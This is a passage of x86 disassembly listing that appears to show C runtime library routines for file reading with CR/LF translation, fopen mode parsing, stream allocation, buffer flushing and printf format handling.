		lea	ebx, ds:4DCCA0h[eax*4]
		mov	eax, dword_4DCCA0[eax*4]
		add	eax, esi
		mov	dl, [eax+4]
		test	dl, 1
		jz	loc_41F2F9
		and	[ebp+var_8], 0
		mov	edi, [ebp+arg_4]
		cmp	[ebp+arg_8], 0
		mov	ecx, edi
		jz	short loc_41F1D1
		test	dl, 2
		jnz	short loc_41F1D1
		test	dl, 48h
		jz	short loc_41F191
		mov	al, [eax+5]
		cmp	al, 0Ah
		jz	short loc_41F191
		dec	[ebp+arg_8]
		mov	[edi], al
		mov	eax, [ebx]
		lea	ecx, [edi+1]
		mov	[ebp+var_8], 1
		mov	byte ptr [eax+esi+5], 0Ah


loc_41F191:				; CODE XREF: sub_41F11C+56j
					; sub_41F11C+5Dj
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		mov	eax, [ebx]
		push	[ebp+arg_8]
		push	ecx
		push	dword ptr [eax+esi]
		nop
		call	near ptr 2700000h
		test	eax, eax
		jnz	short loc_41F1E4
		nop
		call	near ptr 2680932h
		push	5
		pop	ecx
		cmp	eax, ecx
		jnz	short loc_41F1CC
		mov	dword_4DB958, 9
		mov	dword_4DB95C, ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1CC:				; CODE XREF: sub_41F11C+99j
		cmp	eax, 6Dh
		jnz	short loc_41F1D8


loc_41F1D1:				; CODE XREF: sub_41F11C+4Cj
					; sub_41F11C+51j
		xor	eax, eax
		jmp	loc_41F30D
; ---------------------------------------------------------------------------


loc_41F1D8:				; CODE XREF: sub_41F11C+B3j
		push	eax
		call	sub_4203DF
		pop	ecx
		jmp	loc_41F30A
; ---------------------------------------------------------------------------


loc_41F1E4:				; CODE XREF: sub_41F11C+8Cj
		mov	eax, [ebx]
		mov	edx, [ebp+var_C]
		add	[ebp+var_8], edx
		lea	ecx, [eax+esi+4]
		mov	al, [eax+esi+4]
		test	al, 80h
		jz	loc_41F2F4
		test	edx, edx
		jz	short loc_41F209
		cmp	byte ptr [edi],	0Ah
		jnz	short loc_41F209
		or	al, 4
		jmp	short loc_41F20B
; ---------------------------------------------------------------------------


loc_41F209:				; CODE XREF: sub_41F11C+E2j
					; sub_41F11C+E7j
		and	al, 0FBh


loc_41F20B:				; CODE XREF: sub_41F11C+EBj
		mov	[ecx], al
		mov	eax, [ebp+arg_4]
		mov	ecx, [ebp+var_8]
		mov	[ebp+arg_8], eax
		add	ecx, eax
		cmp	eax, ecx
		mov	[ebp+var_8], ecx
		jnb	loc_41F2EE


loc_41F223:				; CODE XREF: sub_41F11C+1BAj
		mov	eax, [ebp+arg_8]
		mov	al, [eax]
		cmp	al, 1Ah
		jz	loc_41F2DE
		cmp	al, 0Dh
		jz	short loc_41F23F
		mov	[edi], al
		inc	edi
		inc	[ebp+arg_8]
		jmp	loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F23F:				; CODE XREF: sub_41F11C+116j
		dec	ecx
		cmp	[ebp+arg_8], ecx
		jnb	short loc_41F25D
		mov	eax, [ebp+arg_8]
		inc	eax
		cmp	byte ptr [eax],	0Ah
		jnz	short loc_41F254
		add	[ebp+arg_8], 2
		jmp	short loc_41F2B2
; ---------------------------------------------------------------------------


loc_41F254:				; CODE XREF: sub_41F11C+130j
		mov	byte ptr [edi],	0Dh
		inc	edi
		mov	[ebp+arg_8], eax
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F25D:				; CODE XREF: sub_41F11C+127j
		lea	eax, [ebp+var_C]
		push	0
		push	eax
		inc	[ebp+arg_8]
		lea	eax, [ebp+var_1]
		push	1
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	near ptr 2700000h
		nop
		test	eax, eax
		jnz	short loc_41F285
		nop
		call	near ptr 2680932h
		test	eax, eax
		jnz	short loc_41F2CC


loc_41F285:				; CODE XREF: sub_41F11C+15Dj
		cmp	[ebp+var_C], 0
		jz	short loc_41F2CC
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 48h
		jz	short loc_41F2A7
		mov	al, [ebp+var_1]
		cmp	al, 0Ah
		jz	short loc_41F2B2
		mov	byte ptr [edi],	0Dh
		mov	ecx, [ebx]
		inc	edi
		mov	[ecx+esi+5], al
		jmp	short loc_41F2D0
; ---------------------------------------------------------------------------


loc_41F2A7:				; CODE XREF: sub_41F11C+176j
		cmp	edi, [ebp+arg_4]
		jnz	short loc_41F2B7
		cmp	[ebp+var_1], 0Ah
		jnz	short loc_41F2B7


loc_41F2B2:				; CODE XREF: sub_41F11C+136j
					; sub_41F11C+17Dj
		mov	byte ptr [edi],	0Ah
		jmp	short loc_41F2CF
; ---------------------------------------------------------------------------


loc_41F2B7:				; CODE XREF: sub_41F11C+18Ej
					; sub_41F11C+194j
		push	1
		push	0FFFFFFFFh
		push	[ebp+arg_0]
		call	sub_42272B
		add	esp, 0Ch
		cmp	[ebp+var_1], 0Ah
		jz	short loc_41F2D0


loc_41F2CC:				; CODE XREF: sub_41F11C+167j
					; sub_41F11C+16Dj
		mov	byte ptr [edi],	0Dh


loc_41F2CF:				; CODE XREF: sub_41F11C+199j
		inc	edi


loc_41F2D0:				; CODE XREF: sub_41F11C+11Ej
					; sub_41F11C+13Fj ...
		mov	ecx, [ebp+var_8]
		cmp	[ebp+arg_8], ecx
		jb	loc_41F223
		jmp	short loc_41F2EE
; ---------------------------------------------------------------------------


loc_41F2DE:				; CODE XREF: sub_41F11C+10Ej
		mov	eax, [ebx]
		lea	esi, [eax+esi+4]
		mov	al, [esi]
		test	al, 40h
		jnz	short loc_41F2EE
		or	al, 2
		mov	[esi], al


loc_41F2EE:				; CODE XREF: sub_41F11C+101j
					; sub_41F11C+1C0j ...
		sub	edi, [ebp+arg_4]
		mov	[ebp+var_8], edi


loc_41F2F4:				; CODE XREF: sub_41F11C+DAj
		mov	eax, [ebp+var_8]
		jmp	short loc_41F30D
; ---------------------------------------------------------------------------


loc_41F2F9:				; CODE XREF: sub_41F11C+12j
					; sub_41F11C+39j
		and	dword_4DB95C, 0
		mov	dword_4DB958, 9


loc_41F30A:				; CODE XREF: sub_41F11C+ABj
					; sub_41F11C+C3j
		or	eax, 0FFFFFFFFh


loc_41F30D:				; CODE XREF: sub_41F11C+B7j
					; sub_41F11C+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F11C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F312	proc near		; CODE XREF: sub_41B202+126p
					; sub_41B202+24Bp ...

arg_0		= dword	ptr  4

		mov	eax, dword_4DB9D8
		test	eax, eax
		jz	short loc_41F32A
		push	[esp+arg_0]
		call	eax
		test	eax, eax
		pop	ecx
		jz	short loc_41F32A
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_41F32A:				; CODE XREF: sub_41F312+7j
					; sub_41F312+12j
		xor	eax, eax
		retn
sub_41F312	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F32D	proc near		; CODE XREF: sub_41B4A2+17p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		mov	esi, dword_4DBB44
		push	edi
		mov	edi, [ebp+arg_4]
		xor	ebx, ebx
		mov	[ebp+var_8], ebx
		mov	[ebp+var_4], ebx
		mov	al, [edi]
		cmp	al, 61h
		jz	short loc_41F366
		cmp	al, 72h
		jz	short loc_41F35F
		cmp	al, 77h
		jnz	loc_41F47A
		mov	ecx, 301h
		jmp	short loc_41F36B
; ---------------------------------------------------------------------------


loc_41F35F:				; CODE XREF: sub_41F32D+21j
		xor	ecx, ecx
		or	esi, 1
		jmp	short loc_41F36E
; ---------------------------------------------------------------------------


loc_41F366:				; CODE XREF: sub_41F32D+1Dj
		mov	ecx, 109h


loc_41F36B:				; CODE XREF: sub_41F32D+30j
		or	esi, 2


loc_41F36E:				; CODE XREF: sub_41F32D+37j
		push	1
		pop	edx


loc_41F371:				; CODE XREF: sub_41F32D+8Bj
					; sub_41F32D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41F460
		cmp	edx, ebx
		jz	loc_41F460
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41F3FF
		jz	short loc_41F3EF
		sub	eax, 2Bh
		jz	short loc_41F3D9
		sub	eax, 19h
		jz	short loc_41F3CF
		sub	eax, 0Eh
		jz	short loc_41F3BA
		dec	eax
		jnz	loc_41F451
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3BA:				; CODE XREF: sub_41F32D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41F451
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3CF:				; CODE XREF: sub_41F32D+6Aj
		test	cl, 40h
		jnz	short loc_41F451
		or	ecx, 40h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3D9:				; CODE XREF: sub_41F32D+65j
		test	cl, 2
		jnz	short loc_41F451
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41F371
; ---------------------------------------------------------------------------


loc_41F3EF:				; CODE XREF: sub_41F32D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41F451
		or	ecx, eax
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F3FF:				; CODE XREF: sub_41F32D+5Ej
		sub	eax, 62h
		jz	short loc_41F44C
		dec	eax
		jz	short loc_41F435
		sub	eax, 0Bh
		jz	short loc_41F41E
		sub	eax, 6
		jnz	short loc_41F451
		test	ch, 0C0h
		jnz	short loc_41F451
		or	ch, 40h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F41E:				; CODE XREF: sub_41F32D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F435:				; CODE XREF: sub_41F32D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41F451
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F44C:				; CODE XREF: sub_41F32D+D5j
		test	ch, 0C0h
		jz	short loc_41F458


loc_41F451:				; CODE XREF: sub_41F32D+72j
					; sub_41F32D+7Bj ...
		xor	edx, edx
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F458:				; CODE XREF: sub_41F32D+122j
		or	ch, 80h
		jmp	loc_41F371
; ---------------------------------------------------------------------------


loc_41F460:				; CODE XREF: sub_41F32D+4Aj
					; sub_41F32D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_423A33
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41F47E


loc_41F47A:				; CODE XREF: sub_41F32D+25j
		xor	eax, eax
		jmp	short loc_41F498
; ---------------------------------------------------------------------------


loc_41F47E:				; CODE XREF: sub_41F32D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DBB40
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41F498:				; CODE XREF: sub_41F32D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41F32D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41F49D	proc near		; CODE XREF: sub_41B4A2p
		mov	edx, dword_4DCC80
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41F50E
		mov	ebx, dword_4DBC78
		mov	edi, ebx


loc_41F4B9:				; CODE XREF: sub_41F49D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41F4D4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41F4CF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41F4B9
		jmp	short loc_41F50E
; ---------------------------------------------------------------------------


loc_41F4CF:				; CODE XREF: sub_41F49D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41F4F8
; ---------------------------------------------------------------------------


loc_41F4D4:				; CODE XREF: sub_41F49D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_41B4D5
		pop	ecx
		mov	ecx, dword_4DBC78
		mov	[edi+ecx], eax
		mov	eax, dword_4DBC78
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41F50E
		mov	esi, edi


loc_41F4F8:				; CODE XREF: sub_41F49D+35j
		cmp	esi, ebp
		jz	short loc_41F50E
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41F50E:				; CODE XREF: sub_41F49D+12j
					; sub_41F49D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41F49D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F515	proc near		; CODE XREF: sub_41B6EE+17p
					; sub_41B6EE+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41F533
		mov	ecx, off_43C9D8
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41F585
; ---------------------------------------------------------------------------


loc_41F533:				; CODE XREF: sub_41F515+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43C9D8
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41F558
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41F561
; ---------------------------------------------------------------------------


loc_41F558:				; CODE XREF: sub_41F515+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41F561:				; CODE XREF: sub_41F515+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_423CEC
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41F581
		leave
		retn
; ---------------------------------------------------------------------------


loc_41F581:				; CODE XREF: sub_41F515+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41F585:				; CODE XREF: sub_41F515+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41F515	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F58A	proc near		; CODE XREF: sub_41B886+46p
					; sub_41B980+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41F693
		test	al, 40h
		jnz	loc_41F693
		test	al, 1
		jz	short loc_41F5C2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41F693
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41F5C2:				; CODE XREF: sub_41F58A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41F5FC
		cmp	esi, offset dword_43D0E8
		jz	short loc_41F5EA
		cmp	esi, offset dword_43D108
		jnz	short loc_41F5F5


loc_41F5EA:				; CODE XREF: sub_41F58A+56j
		push	ebx
		call	sub_423E35
		test	eax, eax
		pop	ecx
		jnz	short loc_41F5FC


loc_41F5F5:				; CODE XREF: sub_41F58A+5Ej
		push	esi
		call	sub_4239EF
		pop	ecx


loc_41F5FC:				; CODE XREF: sub_41F58A+4Ej
					; sub_41F58A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41F669
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41F62C
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41F65F
; ---------------------------------------------------------------------------


loc_41F62C:				; CODE XREF: sub_41F58A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41F647
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DCCA0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41F64C
; ---------------------------------------------------------------------------


loc_41F647:				; CODE XREF: sub_41F58A+A5j
		mov	eax, offset dword_43D030


loc_41F64C:				; CODE XREF: sub_41F58A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41F65F
		push	2
		push	0
		push	ebx
		call	sub_42272B
		add	esp, 0Ch


loc_41F65F:				; CODE XREF: sub_41F58A+A0j
					; sub_41F58A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41F67D
; ---------------------------------------------------------------------------


loc_41F669:				; CODE XREF: sub_41F58A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42291D
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41F67D:				; CODE XREF: sub_41F58A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41F689
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41F698
; ---------------------------------------------------------------------------


loc_41F689:				; CODE XREF: sub_41F58A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41F69B
; ---------------------------------------------------------------------------


loc_41F693:				; CODE XREF: sub_41F58A+10j
					; sub_41F58A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41F698:				; CODE XREF: sub_41F58A+FDj
		or	eax, 0FFFFFFFFh


loc_41F69B:				; CODE XREF: sub_41F58A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41F58A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41F69F	proc near		; CODE XREF: sub_41B886+29p
					; sub_41B980+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41FDB8
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41F6D3
; ---------------------------------------------------------------------------


loc_41F6CB:				; CODE XREF: sub_41F69F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41F6D3:				; CODE XREF: sub_41F69F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41FDB8
		cmp	bl, 20h
		jl	short loc_41F6F4
		cmp	bl, 78h
		jg	short loc_41F6F4
		movsx	eax, bl
		mov	al, [eax+427734h]
		and	eax, 0Fh
		jmp	short loc_41F6F6
; ---------------------------------------------------------------------------


loc_41F6F4:				; CODE XREF: sub_41F69F+40j
					; sub_41F69F+45j
		xor	eax, eax


loc_41F6F6:				; CODE XREF: sub_41F69F+53j
		movsx	eax, byte_427754[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41FDA7	; default
		jmp	off_41FDC0[eax*4] ; switch jump


loc_41F714:				; DATA XREF: ___:off_41FDC0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041F70D case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F72F:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 2
		sub	eax, 20h
		jz	short loc_41F772
		sub	eax, 3
		jz	short loc_41F769
		sub	eax, 8
		jz	short loc_41F760
		dec	eax
		dec	eax
		jz	short loc_41F757
		sub	eax, 3
		jnz	loc_41FDA7	; default
		or	[ebp+var_4], 8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F757:				; CODE XREF: sub_41F69F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F760:				; CODE XREF: sub_41F69F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F769:				; CODE XREF: sub_41F69F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F772:				; CODE XREF: sub_41F69F+96j
		or	[ebp+var_4], 2
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F77B:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 3
		jnz	short loc_41F7A3
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41F79B:				; CODE XREF: sub_41F69F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7A3:				; CODE XREF: sub_41F69F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41F79B
; ---------------------------------------------------------------------------


loc_41F7B2:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	[ebp+var_10], edx ; jumptable 0041F70D case 4
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7BA:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 2Ah		; jumptable 0041F70D case 5
		jnz	short loc_41F7DD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41FDA7	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7DD:				; CODE XREF: sub_41F69F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F7EF:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		cmp	bl, 49h		; jumptable 0041F70D case 6
		jz	short loc_41F822
		cmp	bl, 68h
		jz	short loc_41F819
		cmp	bl, 6Ch
		jz	short loc_41F810
		cmp	bl, 77h
		jnz	loc_41FDA7	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F810:				; CODE XREF: sub_41F69F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F819:				; CODE XREF: sub_41F69F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F822:				; CODE XREF: sub_41F69F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41F83B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41F83B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F83B:				; CODE XREF: sub_41F69F+186j
					; sub_41F69F+18Cj
		mov	[ebp+var_30], edx


loc_41F83E:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		mov	ecx, off_43C9D8	; jumptable 0041F70D case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41F86A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41F86A:				; CODE XREF: sub_41F69F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41FDE0
		add	esp, 0Ch
		jmp	loc_41FDA7	; default
; ---------------------------------------------------------------------------


loc_41F882:				; CODE XREF: sub_41F69F+6Ej
					; DATA XREF: ___:off_41FDC0o
		movsx	eax, bl		; jumptable 0041F70D case 7
		cmp	eax, 67h
		jg	loc_41FAAA
		cmp	eax, 65h
		jge	loc_41F92D
		cmp	eax, 58h
		jg	loc_41F98B
		jz	loc_41FB1E
		sub	eax, 43h
		jz	loc_41F94E
		dec	eax
		dec	eax
		jz	short loc_41F923
		dec	eax
		dec	eax
		jz	short loc_41F923
		sub	eax, 0Ch
		jnz	loc_41FCA9
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F8CC
		or	byte ptr [ebp+var_4+1],	8


loc_41F8CC:				; CODE XREF: sub_41F69F+227j
					; sub_41F69F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41F8D9
		mov	esi, 7FFFFFFFh


loc_41F8D9:				; CODE XREF: sub_41F69F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41FE7E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41FAF2
		test	ecx, ecx
		jnz	short loc_41F901
		mov	ecx, off_43CBF4
		mov	[ebp+var_8], ecx


loc_41F901:				; CODE XREF: sub_41F69F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41F90A:				; CODE XREF: sub_41F69F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41FAE9
		cmp	word ptr [eax],	0
		jz	loc_41FAE9
		inc	eax
		inc	eax
		jmp	short loc_41F90A
; ---------------------------------------------------------------------------


loc_41F923:				; CODE XREF: sub_41F69F+212j
					; sub_41F69F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41F92D:				; CODE XREF: sub_41F69F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41FA11
		mov	[ebp+var_10], 6
		jmp	loc_41FA1F
; ---------------------------------------------------------------------------


loc_41F94E:				; CODE XREF: sub_41F69F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41F95A
		or	byte ptr [ebp+var_4+1],	8


loc_41F95A:				; CODE XREF: sub_41F69F+2B5j
					; sub_41F69F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41F9A1
		call	sub_41FE9B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_423E5B
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41F9B4
		mov	[ebp+var_28], 1
		jmp	short loc_41F9B4
; ---------------------------------------------------------------------------


loc_41F98B:				; CODE XREF: sub_41F69F+1FBj
		sub	eax, 5Ah
		jz	short loc_41F9C2
		sub	eax, 9
		jz	short loc_41F95A
		dec	eax
		jz	loc_41FB84
		jmp	loc_41FCA9
; ---------------------------------------------------------------------------


loc_41F9A1:				; CODE XREF: sub_41F69F+2C5j
		call	sub_41FE7E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41F9B4:				; CODE XREF: sub_41F69F+2E1j
					; sub_41F69F+2EAj
